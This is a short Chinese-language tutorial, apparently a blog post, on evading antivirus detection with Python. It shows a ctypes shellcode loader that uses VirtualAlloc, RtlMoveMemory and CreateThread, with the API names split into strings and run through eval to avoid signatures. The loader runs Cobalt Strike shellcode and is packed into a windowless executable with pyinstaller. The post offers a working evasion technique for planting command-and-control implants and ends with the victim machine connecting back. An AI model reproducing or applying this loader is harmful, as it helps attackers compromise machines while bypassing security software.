1. 程式人生 > 其它 >cs免殺-使用python進行免殺

cs免殺-使用python進行免殺

技術標籤:滲透測試

環境

使用python版本為python3.6 32位版本,64位版本測試會報錯。
安裝pyinstaller,pywin32

pip3 install pyinstaller
pip3 install pywin32

生成shellcode

使用cobalsstrike生成c語言shellcode。
在這裡插入圖片描述
在這裡插入圖片描述

使用shellcode loader載入shellcode

#!/usr/bin/python3
import ctypes

#shellcode 放這個位置
c = b"\xfc\xe8\x89\x00\x00\x00\x60\x89";


shellcode = bytearray(c)

a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 

b = 'ctypes.windll.kernel32.' + 'RtlMoveMemory'
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

eval(b)(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
d = 'ctypes.windll.kernel32.' + 'CreateThread'
ht = eval(d)(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
e = 'ctypes.windll.kernel32.WaitFor' + 'SingleObject'
eval(e)(ctypes.c_int(ht),ctypes.c_int(-1))

可以使用加密等方法進行免殺。

打包生成exe

pyinstaller -F shell.py --noconsole

執行,機器上線
在這裡插入圖片描述